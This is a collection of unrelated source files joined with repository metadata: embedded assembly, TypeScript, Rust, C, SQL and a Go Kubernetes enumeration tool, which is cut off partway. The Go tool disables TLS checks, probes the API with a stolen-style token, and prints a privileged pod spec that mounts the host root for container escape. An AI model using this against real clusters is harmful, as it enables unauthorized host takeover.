; debug mode, the reset signal from the master will conflict with slave's
; JTAG; to work around, control the
; the Master device with CCE. If breakpoints are inserted in Master slave
; must stop also.
;
; MSP430F249
; -----------------
; /|\| XIN|-
; | | |
; Master---|-|RST XOUT|-
; | |
; | P5.1|-> Data Out (UCB1SIMO)
; | |
; | P5.2|<- Data In (UCB1SOMI)
; | |
; | P5.3|-> Serial Clock Out (UCB1CLK)
;
; JL Bile
; Texas Instruments Inc.
; May 2008
; Built Code Composer Essentials: v3 FET
;*******************************************************************************
.cdecls C,LIST, "msp430x24x.h"
MST_Data .equ R6
SLV_Data .equ R7
;-------------------------------------------------------------------------------
.text ;Program Start
;-------------------------------------------------------------------------------
RESET mov.w #0500h,SP ; Initialize stackpointers
StopWDT mov.w #WDTPW+WDTHOLD,&WDTCTL ; Stop watchdog timer
CheckCal cmp.b #0FFh,&CALBC1_1MHZ ; Calibration constants erased?
jeq Trap
cmp.b #0FFh,&CALDCO_1MHZ
jne Load
Trap jmp $ ; Trap CPU!!
Load mov.b &CALBC1_1MHZ,&BCSCTL1 ; Set DCO to 1MHz
mov.b &CALDCO_1MHZ,&DCOCTL ; ;
waitForMstr bit.b #BIT3,&P5IN ; If clock sig from mstr stays low,
jz waitForMstr ; it is not yet in SPI mode
;
SetupP3 bis.b #00Eh,&P5SEL ; P5.3,2,1 option select
SetupSPI mov.b #UCSWRST,&UCB1CTL1 ; **Put state machine in reset**
bis.b #UCCKPL+UCMSB+UCSYNC,&UCB1CTL0;3-pin, 8-bit SPI master
bic.b #UCSWRST,&UCB1CTL1 ; **Initialize USCI state machine**
bis.b #UCB1RXIE,&UC1IE ; Enable USCI_B1 RX interrupt
;
Mainloop bis.b #LPM3+GIE,SR ; Enter LPM3, enable interrupts
nop ; Required for debugger only
;
;-------------------------------------------------------------------------------
USCIB1RX_ISR; Test for valid RX and TX character
;-------------------------------------------------------------------------------
TX1 bit.b #UCB1TXIFG,&UC1IFG ; USCI_B1 TX buffer ready?
jz TX1 ;
mov.b &UCB1RXBUF,&UCB1TXBUF ;
reti
;-------------------------------------------------------------------------------
; Interrupt Vectors
;-------------------------------------------------------------------------------
.sect ".int17" ; USCI_B1 Rx Vector
.short USCIB1RX_ISR ;
.sect ".reset" ; POR, ext. Reset, Watchdog
.short RESET
.end
| 50.592105 | 91 | 0.394278 |
71d9907d7942df5393711c78429e4e5dd7c76c74 | 409 | ts | TypeScript | mobile-v2/src/components/index.ts | guardian-app/guardian-app | db8d63bbc8314a0b015a8446fc551b03bc681e43 | [
"MIT"
] | null | null | null | mobile-v2/src/components/index.ts | guardian-app/guardian-app | db8d63bbc8314a0b015a8446fc551b03bc681e43 | [
"MIT"
] | null | null | null | mobile-v2/src/components/index.ts | guardian-app/guardian-app | db8d63bbc8314a0b015a8446fc551b03bc681e43 | [
"MIT"
] | null | null | null | export { default as Background } from './Background';
export { default as Logo } from './Logo';
export { default as Header } from './Header';
export { default as Paragraph } from './Paragraph';
export { default as Button } from './Button';
export { default as TextInput } from './TextInput';
export { default as BackButton } from './BackButton';
export { default as PlainBackground } from './PlainBackground'; | 51.125 | 63 | 0.709046 |
230cc324ade1aba607790db12ca34af6249671e4 | 1,490 | rs | Rust | services/wfbp_processor/src/controllers/commands.rs | TehPers/wf-butler-of-prices | 5b67509fc47f9c0e9eb10dca4513bc4365a25915 | [
"MIT"
] | null | null | null | services/wfbp_processor/src/controllers/commands.rs | TehPers/wf-butler-of-prices | 5b67509fc47f9c0e9eb10dca4513bc4365a25915 | [
"MIT"
] | null | null | null | services/wfbp_processor/src/controllers/commands.rs | TehPers/wf-butler-of-prices | 5b67509fc47f9c0e9eb10dca4513bc4365a25915 | [
"MIT"
] | null | null | null | use crate::models::{AdminCommand, Config};
use actix_web::{
dev::HttpServiceFactory,
error::ErrorInternalServerError,
http::StatusCode,
post,
web::{scope, Data, Json},
};
use serde::Deserialize;
use std::collections::HashMap;
use tracing::instrument;
use wfbp_azure::functions::{
FunctionsInput, FunctionsOutput, HttpInput, HttpOutput,
};
use wfbp_commands::CommandRegistry;
use wfbp_discord::DiscordRestClient;
pub fn commands_service() -> impl HttpServiceFactory {
scope("/commands").service(handle_command)
}
#[derive(Clone, Debug, Deserialize)]
pub struct Input {
pub command: HttpInput<AdminCommand>,
}
#[post("")]
#[instrument(skip(input, command_registry, discord_client, config))]
async fn handle_command(
input: Json<FunctionsInput<Input>>,
command_registry: Data<CommandRegistry>,
discord_client: Data<DiscordRestClient>,
config: Data<Config>,
) -> Result<Json<FunctionsOutput<HttpOutput<String>>>, actix_web::Error> {
match input.data.command.body {
AdminCommand::RegisterCommands => command_registry
.register_commands(discord_client.as_ref(), config.app_id)
.await
.map_err(ErrorInternalServerError)?,
}
Ok(Json(FunctionsOutput {
outputs: HttpOutput {
status_code: StatusCode::OK.as_u16(),
headers: HashMap::new(),
body: "Success!".into(),
},
logs: vec![],
return_value: Default::default(),
}))
}
| 28.653846 | 74 | 0.67651 |
71816cc120ef5f7b57a20d7ecda50f6e9a6774bf | 3,206 | ts | TypeScript | stencil.config.ts | milottit/stencil | 861fceeee877a9b614142428941f45151aad4de1 | [
"MIT"
] | null | null | null | stencil.config.ts | milottit/stencil | 861fceeee877a9b614142428941f45151aad4de1 | [
"MIT"
] | null | null | null | stencil.config.ts | milottit/stencil | 861fceeee877a9b614142428941f45151aad4de1 | [
"MIT"
] | null | null | null | import { Config } from '@stencil/core';
import { sass } from '@stencil/sass';
import { postcss } from '@stencil/postcss';
import autoprefixer from 'autoprefixer';
import { OutputTargetCopy } from '@stencil/core/internal';
/* import includePaths from 'rollup-plugin-includepaths';
const includePathOptions = {
include: {
'@upradata/util': 'node_modules/@upradata/util/lib-esm/index.js'
},
// paths: [ 'src/lib', 'src/other' ],
external: [],
extensions: [ '.mjs', '.js', '.json', '.html' ]
}; */
export const config: Config = {
namespace: 'upradata',
taskQueue: 'async',
excludeUnusedDependencies: true,
// buildEs5: false,
plugins: [
// includePaths(includePathOptions),
sass(),
postcss({
/* injectGlobalPaths: [ // The injectGlobalPaths config is an array of paths that automatically get added as @import declarations to all components.
'src/globals/variables.pcss',
'src/globals/mixins.pcss'
], */
plugins: [ autoprefixer(/* {
browsers: [ 'last 6 versions' ],
cascade: false
} */) ]
})
],
// commonjs: {
// include: '/home/milottit/Libraries/Util/**/node_modules/**/*.js', // /Libraries\/Util\/(.*)\/node_modules/,
// namedExports: {
// // '../../Util/util/node_modules/.pnpm/ts-util-is@1.1.3/node_modules/ts-util-is/dist/index.js': [ 'isUndefined', 'isNull' ],
// '../../Util/util/node_modules/.pnpm/registry.npmjs.org/colors/1.4.0/node_modules/colors/lib/colors.js': [ 'isUndefined', 'isNull' ],
// }
// },
/* commonjs: {
include: [ /node_modules/, /lib-esm/ ],
namedExports: {
'../../Util/util/node_modules/.pnpm/ts-util-is@1.1.3/node_modules/ts-util-is/dist/index.js': [ 'isUndefined', 'isDefined', 'isNull' ],
'../../Util/util/lib-esm/is.js': [ 'isUndefined', 'isDefined', 'isNull' ],
'/home/milottit/Libraries/Util/util/lib-esm/is.js': [ 'isUndefined', 'isDefined', 'isNull' ],
},
transformMixedEsModules: false
} as any, */
globalStyle: 'src/global/global.scss',
globalScript: 'src/global/global.ts',
outputTargets: [
{
type: 'dist',
esmLoaderPath: '../loader',
copy: [
{ src: 'fonts/*.woff2', dest: 'static/fonts', warn: true }
]
},
{
type: 'dist-custom-elements-bundle',
},
{
type: 'docs-readme'
},
{
type: 'www',
serviceWorker: null, // disable service workers
copy: [
{ src: 'fonts/*.woff2', dest: 'static/fonts', warn: true }
]
}
]
};
const isDev = process.argv.some(arg => arg === '--dev');
if (isDev) {
for (const target of config.outputTargets.filter(target => (target as OutputTargetCopy).copy)) {
(target as OutputTargetCopy).copy.push(
{ src: 'test-components/*', dest: 'static/test/html', warn: true },
{ src: 'global/tilda*.css', dest: 'static/test/css', warn: true },
);
}
}
| 36.022472 | 160 | 0.543356 |
84bbb9757006a907b855ad3c255308d24c261303 | 1,052 | c | C | sources/common/index_of.c | Vicest/push_swap | f4b374e6a459eddafa353463e266b7d672b89c61 | [
"BSD-3-Clause"
] | null | null | null | sources/common/index_of.c | Vicest/push_swap | f4b374e6a459eddafa353463e266b7d672b89c61 | [
"BSD-3-Clause"
] | null | null | null | sources/common/index_of.c | Vicest/push_swap | f4b374e6a459eddafa353463e266b7d672b89c61 | [
"BSD-3-Clause"
] | null | null | null | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* index_of.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: vicmarti <vicmarti@student.42madrid> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/07/31 21:43:49 by vicmarti #+# #+# */
/* Updated: 2021/08/07 18:23:08 by vicmarti ### ########.fr */
/* */
/* ************************************************************************** */
#include "common.h"
size_t index_of(int value, t_stack *stack)
{
size_t index;
index = 0;
while (stack->val[index] != value)
index++;
return (index);
}
| 43.833333 | 80 | 0.19962 |
7fa284824513a77c9040fb7f6167cf271cdc7933 | 508 | rs | Rust | Rust/Algorithms/1394.rs | DimitrisJim/leetcode_solutions | 765ea578748f8c9b21243dec9dc8a16163e85c0c | [
"Unlicense"
] | 2 | 2021-01-15T17:22:54.000Z | 2021-05-16T19:58:02.000Z | Rust/Algorithms/1394.rs | DimitrisJim/leetcode_solutions | 765ea578748f8c9b21243dec9dc8a16163e85c0c | [
"Unlicense"
] | null | null | null | Rust/Algorithms/1394.rs | DimitrisJim/leetcode_solutions | 765ea578748f8c9b21243dec9dc8a16163e85c0c | [
"Unlicense"
] | null | null | null | use std::collections::HashMap;
impl Solution {
pub fn find_lucky(arr: Vec<i32>) -> i32 {
let mut Counter = HashMap::new();
for x in arr.into_iter() {
let value = Counter.get(&x).cloned().unwrap_or(0);
Counter.insert(x, if value == 0 { 1 } else { value + 1 });
}
let mut largest = -1;
for (k, v) in Counter.into_iter() {
if (k == v && k > largest) {
largest = k;
}
}
largest
}
}
| 25.4 | 70 | 0.464567 |
ba5404735e29cd6e43e502cae4d6ed638306c594 | 220 | sql | SQL | projects/db/third_party/tests/createUerDocMapTable.sql | wiarlawd/database.v3 | 302fa10e0d03960fe3387b73b48ff229feb7c305 | [
"Apache-1.1"
] | 3 | 2015-07-30T16:54:11.000Z | 2017-09-01T06:30:54.000Z | projects/db/third_party/tests/createUerDocMapTable.sql | wiarlawd/database.v3 | 302fa10e0d03960fe3387b73b48ff229feb7c305 | [
"Apache-1.1"
] | null | null | null | projects/db/third_party/tests/createUerDocMapTable.sql | wiarlawd/database.v3 | 302fa10e0d03960fe3387b73b48ff229feb7c305 | [
"Apache-1.1"
] | 5 | 2015-04-24T20:09:21.000Z | 2020-02-04T02:49:50.000Z | -- Creating Tables – Double hyphens are comment lines
DROP TABLE IF EXISTS user_doc_map ;
CREATE TABLE user_doc_map(
id int NOT NULL,
ReportId int NOT NULL ,
username varchar(45) NOT NULL,
PRIMARY KEY (id)
);
| 24.444444 | 53 | 0.727273 |
9a0c8982c0d7852945c038f0f51adfe212f8ee28 | 638 | sql | SQL | test_schema/test_schema.sql | bkaznowski/GimmePG | 73fa9553decb63e5d6276fc01d44c7b51b716fe4 | [
"MIT"
] | 4 | 2022-01-05T19:31:27.000Z | 2022-02-10T11:26:19.000Z | test_schema/test_schema.sql | bkaznowski/GimmePG | 73fa9553decb63e5d6276fc01d44c7b51b716fe4 | [
"MIT"
] | null | null | null | test_schema/test_schema.sql | bkaznowski/GimmePG | 73fa9553decb63e5d6276fc01d44c7b51b716fe4 | [
"MIT"
] | 1 | 2022-02-03T15:16:54.000Z | 2022-02-03T15:16:54.000Z | DROP TABLE users;
DROP TABLE user_groups;
DROP TABLE user_group_associations;
DROP TABLE user_statuses;
DROP TABLE otherdb;
CREATE TABLE users (
id TEXT PRIMARY KEY,
create_timestamp TIMESTAMPTZ,
update_id TEXT
);
CREATE INDEX users_update_id_idx ON users (update_id);
CREATE TABLE user_groups (
id TEXT PRIMARY KEY,
create_timestamp TIMESTAMPTZ
);
CREATE TABLE user_group_associations (
id TEXT PRIMARY KEY,
create_timestamp TIMESTAMPTZ
);
CREATE TABLE user_statuses (
id TEXT PRIMARY KEY,
user_id TEXT,
create_timestamp TIMESTAMPTZ,
status BIGINT
);
CREATE TABLE otherdb (id TEXT);
| 17.243243 | 54 | 0.749216 |
77156586b30ad8debe9639a36c9301b1dd3c0340 | 3,409 | rs | Rust | Rust/Fork/math_expr_parser/src/tokenizer.rs | TK4E/some | 48f97e6d660135627fde9c5b564ca83785d5aab4 | [
"MIT"
] | null | null | null | Rust/Fork/math_expr_parser/src/tokenizer.rs | TK4E/some | 48f97e6d660135627fde9c5b564ca83785d5aab4 | [
"MIT"
] | 4 | 2021-11-04T02:48:04.000Z | 2021-11-04T03:33:12.000Z | Rust/Fork/math_expr_parser/src/tokenizer.rs | TK4E/some | 48f97e6d660135627fde9c5b564ca83785d5aab4 | [
"MIT"
] | null | null | null | use std::collections::VecDeque;
use std::fmt;
#[derive(Debug,Clone,Copy,PartialEq,Eq)]
pub enum Op {
Mul,
Div,
Sub,
Add,
Pow,
}
impl fmt::Display for Op {
fn fmt(&self, f: &mut fmt::Formatter) -> Result<(),fmt::Error> {
let s = match self {
Op::Mul => "*",
Op::Div => "/",
Op::Sub => "-",
Op::Add => "+",
Op::Pow => "^",
};
write!(f, "{}", s)
}
}
#[derive(Debug,Clone,Copy)]
pub enum Token {
Digit(f64),
Bracket(bool),
Op(Op),
}
fn digit_checker(ch: char) -> bool {
ch.is_ascii_digit() || ch == '.'
}
fn space_checker(ch: char) -> bool {
ch.is_whitespace()
}
#[derive(Debug)]
pub struct Tokenizer {
stack: VecDeque<Token>,
pointer: usize,
}
impl Tokenizer {
pub fn tokenize(s: &str) -> Result<VecDeque<Token>, String> {
let mut t = Tokenizer {
pointer: 0,
stack: VecDeque::with_capacity(s.len()),
};
let s_len = s.len();
while t.pointer < s_len {
t.read(s)?;
// t.trim();
}
t.stack.shrink_to_fit();
Ok(t.stack)
}
fn push(&mut self, token: Token, count: usize) {
self.stack.push_back(token);
self.pointer += count;
}
fn read(&mut self, src: &str) -> Result<(), String> {
let s = &src[self.pointer..];
let ch = s.chars().nth(0).unwrap();
let next = s.chars().nth(1);
match ch {
' ' => {
self.pointer += 1;
}
'(' => self.push(Token::Bracket(true), 1),
')' => self.push(Token::Bracket(false), 1),
'*' => self.push(Token::Op(Op::Mul), 1),
'/' => self.push(Token::Op(Op::Div), 1),
'^' => self.push(Token::Op(Op::Pow), 1),
'+' => {
if let Some(n) = next {
if !space_checker(n) {
self.pointer += 1;
return Ok(());
}
}
self.push(Token::Op(Op::Add), 1)
},
'-' => {
self.handle_sub(next)?;
},
x if x.is_ascii_digit() => self.handle_digit(s)?,
_ => return Err(format!("unrecognized input `{}` at position {}", ch, self.pointer + 1)),
}
Ok(())
}
fn handle_digit(&mut self, s_part: &str) -> Result<(), String> {
let (digit_str, digit_str_len) = Tokenizer::take_while(s_part, digit_checker);
if let Ok(d) = digit_str.parse() {
self.push(Token::Digit(d), digit_str_len);
Ok(())
} else {
Err(format!("cannot parse digit `{}` at position {}", digit_str, self.pointer + 1))
}
}
fn handle_sub(&mut self, next_ch: Option<char> ) -> Result<(), String> {
if let Some(n) = next_ch {
if !space_checker(n) {
if digit_checker(n) || n == '(' {
self.push(Token::Digit(-1.0), 0);
self.push(Token::Op(Op::Mul), 1);
return Ok(());
} else {
return Err(format!("invalid operation sequence at position {}", self.pointer + 1));
}
}
self.push(Token::Op(Op::Sub), 1);
Ok(())
} else {
Err(format!("invalid end with operation `-` at position {}", self.pointer + 1))
}
}
fn take_while<F>(s: &str, checker: F) -> (&str, usize)
where
F: Fn(char) -> bool,
{
let len = s.len();
let mut idx = 1;
if idx < len {
let mut ch = s.chars().nth(idx).unwrap();
while checker(ch) {
idx += 1;
if idx == len {
break;
}
ch = s.chars().nth(idx).unwrap();
}
}
(&s[..idx], idx)
}
}
| 22.281046 | 95 | 0.503667 |
2240c4cae53ec6bcb5fbcde66683323b7ed1d3e6 | 689 | lua | Lua | config/nvim/pack/benferse/opt/host-nvim/lua/features/editor.lua | benferse/dotfiles | da500616ad755f391bde6b99087b0d925b728aa4 | [
"MIT"
] | 4 | 2020-07-10T17:50:47.000Z | 2021-08-12T23:55:38.000Z | config/nvim/pack/benferse/opt/host-nvim/lua/features/editor.lua | benferse/dotfiles | da500616ad755f391bde6b99087b0d925b728aa4 | [
"MIT"
] | null | null | null | config/nvim/pack/benferse/opt/host-nvim/lua/features/editor.lua | benferse/dotfiles | da500616ad755f391bde6b99087b0d925b728aa4 | [
"MIT"
] | null | null | null | -- Plugins and modifications to the core text editing
-- experience, and isn't that really why we're here in
-- the first place?
local function setup()
vim.cmd([[
packadd nvim-autopairs
packadd nvim-comment
]])
require('nvim_comment').setup {
marker_padding = true,
comment_empty = true,
}
vim.opt.completeopt = 'menuone,noinsert,noselect'
require('nvim-autopairs').setup {
disable_filetype = { 'TelescopePrompt' },
}
local ap = require('nvim-autopairs.completion.cmp')
local cmp = require('cmp')
cmp.event:on('confirm_done', ap.on_confirm_done({ map_char = { tex = '' }}))
end
return { setup = setup }
| 24.607143 | 80 | 0.638607 |
0a08fcab66bb8b99077df060f05cd120771a79fa | 141 | c | C | Practice/2.c | Jlobblet/px390 | d9dc7e2c8718537d0ed6d11d95101f63316462f3 | [
"Unlicense"
] | 2 | 2021-11-12T20:16:43.000Z | 2021-12-20T18:42:03.000Z | Practice/2.c | Jlobblet/px390 | d9dc7e2c8718537d0ed6d11d95101f63316462f3 | [
"Unlicense"
] | null | null | null | Practice/2.c | Jlobblet/px390 | d9dc7e2c8718537d0ed6d11d95101f63316462f3 | [
"Unlicense"
] | null | null | null | // Write a c program that outputs the word "hello" to standard output.
#include <stdio.h>
int main() {
printf("hello");
return 0;
}
| 17.625 | 70 | 0.64539 |
38de4c6d926ce3f517d0ff92042d87e20fff398b | 3,031 | swift | Swift | StructsAndClasses/Roguelike/Roguelike/ViewController.swift | alfredcc/SwiftPlayground | d23034f2b1881bac65d1d8cc028b4f8c434e299c | [
"MIT"
] | null | null | null | StructsAndClasses/Roguelike/Roguelike/ViewController.swift | alfredcc/SwiftPlayground | d23034f2b1881bac65d1d8cc028b4f8c434e299c | [
"MIT"
] | null | null | null | StructsAndClasses/Roguelike/Roguelike/ViewController.swift | alfredcc/SwiftPlayground | d23034f2b1881bac65d1d8cc028b4f8c434e299c | [
"MIT"
] | null | null | null | //
// ViewController.swift
// Roguelike
//
// Created by race on 16/3/15.
// Copyright © 2016年 race. All rights reserved.
//
import UIKit
protocol Serializer {
subscript(name: String) -> AnyObject? { get set }
}
typealias PropertyList = [String: AnyObject]
extension NSUserDefaults: Serializer {
subscript(name: String) -> AnyObject? {
get {
return objectForKey(name)
}
set {
setObject(newValue, forKey: name)
}
}
}
// MARK: - Player
struct Player {
var health: Health
var chocolates: BoxOfChocolates?
init(properties: PropertyList = [:]) {
let healthProperties = properties["health"] as? PropertyList ?? [:]
health = Health(properties: healthProperties)
if let chocolatesProperties = properties["chocolates"] as? PropertyList {
chocolates = BoxOfChocolates(properties: chocolatesProperties)
}
}
mutating func study() {
health.foodPoints -= 2
health.experiencePoints += 1
}
func serialize() -> PropertyList {
var result: PropertyList = [
"health": health.serialize()
]
result["chocolates"] = chocolates?.serialize()
return result
}
}
extension Player {
mutating func eat() {
guard let count = chocolates?.numberOfChocolates where count > 0
else { return }
chocolates?.numberOfChocolates -= 1
health.foodPoints = min(100, health.foodPoints + 10)
}
}
// MARK: - Health
struct Health {
var foodPoints: Int = 100
var experiencePoints: Int = 0
init(properties: PropertyList = [:]) {
foodPoints = properties["food"] as? Int ?? foodPoints
experiencePoints = properties["experience"] as? Int ?? experiencePoints
}
func serialize() -> PropertyList {
return [
"food": foodPoints,
"experience": experiencePoints
]
}
}
// MARK: - BoxOfChocolates
struct BoxOfChocolates {
private var numberOfChocolates: Int = 10
init(properties: PropertyList) {
numberOfChocolates = properties["chocolates"] as? Int ?? numberOfChocolates
}
func serialize() -> PropertyList {
return [
"chocolates": numberOfChocolates
]
}
}
class GameState {
var player: Player {
didSet { save() }
}
var serializer: Serializer
init(serializer: Serializer = NSUserDefaults.standardUserDefaults()) {
self.serializer = serializer
player = Player(properties: (serializer["player"] ?? [:]) as! PropertyList)
}
func save() {
serializer["player"] = player.serialize()
}
}
class ViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
}
| 24.055556 | 83 | 0.615308 |
4a3aed688e265dff5d0158b755088cb7b48890c8 | 454 | js | JavaScript | src/routes/v1/auth.route.js | aaarafat/Chato-Back-End | f1d620689828ea8559af2a9dc067ee155be5336f | [
"MIT"
] | 2 | 2021-04-25T23:33:53.000Z | 2021-04-26T00:41:09.000Z | src/routes/v1/auth.route.js | aaarafat/Chato-Back-End | f1d620689828ea8559af2a9dc067ee155be5336f | [
"MIT"
] | 1 | 2021-09-02T20:44:31.000Z | 2021-09-02T20:44:31.000Z | src/routes/v1/auth.route.js | aaarafat/Chato-Back-End | f1d620689828ea8559af2a9dc067ee155be5336f | [
"MIT"
] | 1 | 2021-04-26T02:03:56.000Z | 2021-04-26T02:03:56.000Z | const express = require('express');
const validate = require('../../middlewares/validate');
const { authValidation } = require('../../validations/');
const { authController } = require('../../controllers');
const catchAsync = require('../../utils/catchAsync');
const router = new express.Router();
router
.route('/')
.post(
catchAsync(validate(authValidation.loginUser)),
catchAsync(authController.loginUser)
);
module.exports = router;
| 26.705882 | 57 | 0.685022 |
92ef6397496dd0010280682e0f0ad657e1998c10 | 3,820 | c | C | etc/PowerClipper/PowerClipper/C Language/Background Programs/capp1/capp1.c | waynelewis/pmac | 71a0917e49083003f303805ef8b799f0c6d91165 | [
"Apache-2.0"
] | 14 | 2016-08-24T11:18:59.000Z | 2022-03-04T02:14:11.000Z | etc/PowerClipper/PowerClipper/C Language/Background Programs/capp1/capp1.c | waynelewis/pmac | 71a0917e49083003f303805ef8b799f0c6d91165 | [
"Apache-2.0"
] | 26 | 2016-12-08T13:17:05.000Z | 2022-02-01T16:39:40.000Z | etc/PowerClipper/PowerClipper/C Language/Background Programs/capp1/capp1.c | waynelewis/pmac | 71a0917e49083003f303805ef8b799f0c6d91165 | [
"Apache-2.0"
] | 8 | 2016-10-07T12:55:38.000Z | 2020-10-20T15:58:23.000Z | #include <gplib.h> // Global Gp Shared memory pointer
//----------------------------------------------------------------------------------
// pp_proj.h is the C header for accessing PMAC Global, CSGlobal, Ptr vars
// _PPScriptMode_ for Pmac Script like access global & csglobal
// global Mypvar - access with "Mypvar"
// global Myparray(32) - access with "Myparray(i)"
// csglobal Myqvar - access with "Myqvar(i)" where "i" is Coord #
// csglobal Myqarray(16) - access with "Myqvar(i,j)" where "j" is index
// _EnumMode_ for Pmac enum data type checking on Set & Get global functions
// Example
// global Mypvar
// csglobal Myqvar
// "SetGlobalVar(Myqvar, data)" will give a compile error because its a csglobal var.
// "SetCSGlobalVar(Mypvar, data)" will give a compile error because its a global var.
//------------------------------------------------------------------------------------
// #define _PPScriptMode_ // uncomment for Pmac Script type access
// #define _EnumMode_ // uncomment for Pmac enum data type checking on Set & Get global functions // uncomment for Pmac Script type access
//----------------------------------------------------------------------------------
// To use the functions defined in the Libraries folder, create a prototype of the function
// in this file or in a header file that is included in this file.
// For Example:
// If a Library project has been created with the following function and you intend to use
// that function in this C file:
// int MyFunction(int MyVar)
// {
// return MyVar*10;
// }
// Then a prototype of this function must be created in this c file or in a
// header file that is being included in this file. The prototype is the following:
// int MyFunction(int);
//------------------------------------------------------------------------------------
#include "../../Include/pp_proj.h"
int main(void)
{
//---------------------------------------------------------------------
// Required Startup Code: Insures that this APP is run as an RT or NON
// RT APP otherwise depending upon how it is started it will inherit
// the scheduling priority and policy of the task that started it.
//---------------------------------------------------------------------
//----------------------------------------------
// Uncomment the below #define to run as a RT Linux APP
// #define RUN_AS_RT_APP
// For older F/W uncomment the following if you get a compile error:
// #define BACKGROUND_RT_PRIORITY 50
// #define NANO_5MSEC 5000000
//----------------------------------------------
struct sched_param param;
int done = 0;
struct timespec sleeptime = {0};
sleeptime.tv_nsec = NANO_5MSEC; // #defines NANO_1MSEC, NANO_5MSEC & NANO_10MSEC are defined
#ifndef RUN_AS_RT_APP
//-----------------------------
// Runs as a NON RT Linux APP
//-----------------------------
param.__sched_priority = 0;
pthread_setschedparam(pthread_self(), SCHED_OTHER, ¶m);
#else
//---------------------------------------------------------------
// Runs as a RT Linux APP with the same scheduling policy as the
// Background script PLCs
// To run at a recommended lower priority use BACKGROUND_SCRIPT_PLC_PRIORITY - 10
// To run at a higher priority use BACKGROUND_SCRIPT_PLC_PRIORITY + 1
//---------------------------------------------------------------------
param.__sched_priority = BACKGROUND_RT_PRIORITY - 10;
pthread_setschedparam(pthread_self(), SCHED_FIFO, ¶m);
#endif
InitLibrary(); // Required for accessing Power PMAC library
while (!done)
{
//Put your code here
nanosleep(&sleeptime,NULL); // sleep and yield to LINUX scheduler
done = 1; // while loop only runs once. remove for continues loop
}
CloseLibrary();
return 0;
}
| 43.908046 | 142 | 0.56623 |
43c9c25a6fa6b6f7922e7cf9e1cd1c5d9194542c | 6,224 | go | Go | enum4k8s.go | bbhunter/harpoon | 1dd98abc62da2cda9a3aaec6a624a4c06a6916e5 | [
"MIT"
] | 109 | 2018-11-09T22:52:18.000Z | 2022-03-24T12:37:46.000Z | enum4k8s.go | bbhunter/harpoon | 1dd98abc62da2cda9a3aaec6a624a4c06a6916e5 | [
"MIT"
] | 8 | 2018-10-20T18:12:47.000Z | 2019-10-19T01:21:37.000Z | enum4k8s.go | bbhunter/harpoon | 1dd98abc62da2cda9a3aaec6a624a4c06a6916e5 | [
"MIT"
] | 25 | 2018-11-09T22:52:33.000Z | 2022-03-24T12:37:50.000Z | package main
import (
//"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
"flag"
"crypto/tls"
"strconv"
"strings"
)
func get(url string, headers *map[string]string) (*http.Response, error) {
client := &http.Client{}
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
for k, v := range *headers {
req.Header.Add(k, v)
}
res, err := client.Do(req)
if err != nil {
return nil, err
}
defer res.Body.Close() // we don't care about this, only status code
return res, err
}
func getJson(
url string,
jsonData *interface{},
headers *map[string]string,
) (*http.Response, error) {
client := &http.Client{}
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
for k, v := range *headers {
req.Header.Add(k, v)
}
res, err := client.Do(req)
if err != nil {
return nil, err
}
// make sure the body ReaderCloser gets closed once the func exits
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
return nil, err
}
json.Unmarshal(body, &jsonData)
return res, err
}
func panicOnErr(err error) {
if err != nil {
panic(err)
}
}
func fmtJsonMap(m map[string]interface{}, out *string) {
for k, v := range m {
// cast k and v to string to be safe
if w, ok := v.(string); ok {
*out += k + " -> " + w + "\n"
}
}
}
func getPaths(
url string,
paths *[]string,
headers *map[string]string,
) (map[string]int ,error) {
statuses := make(map[string]int)
for p := range *paths {
res, err := get(url + (*paths)[p], headers)
if err != nil {
return nil, err
}
statuses[(*paths)[p]] = res.StatusCode
}
return statuses, nil
}
func main() {
// Disable SSL security checks
http.DefaultTransport.
(*http.Transport).
TLSClientConfig = &tls.Config{
InsecureSkipVerify: true,
}
urlPtr := flag.String("url", "https://kubernetes.default.svc", "the url of the k8s api server")
jwtPtr := flag.String("jwt", "", "the token to use for authorization")
nsPtr := flag.String("ns", "default", "the namespace to try and enumerate")
dumpPtr := flag.Bool("dump", false, "Dump all the information possible")
podPtr := flag.Bool("pod", false, "Generate a malicious pod spec in JSON format")
namePtr := flag.String("name", "", "The name for for the pod spec")
cmdPtr := flag.String("cmd", "", "The command string for the pod spec")
imagePtr := flag.String("img", "", "The image for the pod spec")
flag.Parse()
if *podPtr == true {
podName := *namePtr
podCmdStr := *cmdPtr
podImage := *imagePtr
errMsg := "\n[!] -name, -cmd, -img required when using -pod"
if podName == "" || podCmdStr == "" || podImage == "" {
panic(errMsg)
}
podStr := `{
"apiVersion":"v1",
"kind":"Pod",
"metadata":{"name":"%s"},
"spec":{
"containers":[{
"name":"%s",
"image":"%s",
"command":%s,
"securityContext":{
"privileged":true
},
"volumeMounts":[{
"mountPath":"/mnt/host",
"name":"hostvolume",
"mountPropagation":"Bidirectional"
}]
}],
"volumes":[{
"name":"hostvolume",
"hostPath":{
"path":"/"
}
}]
}
}`
fmt.Printf(podStr, podName, podName, podImage, podCmdStr)
return
}
headers := map[string]string{
"Accept": "application/json",
}
if *jwtPtr != "" {
*jwtPtr = strings.ReplaceAll(*jwtPtr, "\"", "")
//fmt.Println("Bearer " + *jwtPtr)
headers["Authorization"] = "Bearer " + *jwtPtr
}
var jsonData interface{}
res, err := getJson(*urlPtr + "/version", &jsonData, &headers)
panicOnErr(err)
// TODO: pretty print the version info
if res.StatusCode == 200 {
var out string
jsonMap := jsonData.(map[string]interface{})
fmtJsonMap(jsonMap, &out)
fmt.Println("[!] k8s version info:")
fmt.Println(out)
}
parsedPaths := false
//var pathsEnumRes map[string]int
res, err = getJson(*urlPtr + "/swagger.json", &jsonData, &headers)
panicOnErr(err)
if res.StatusCode == 200 {
var out string
jsonMap := jsonData.(map[string]interface{})
fmtJsonMap(jsonMap, &out)
fmt.Println("[+] got /swagger.json... attempting to enumerate access")
} else {
res, err = getJson(*urlPtr + "/openapi/v2", &jsonData, &headers)
panicOnErr(err)
if res.StatusCode == 200 {
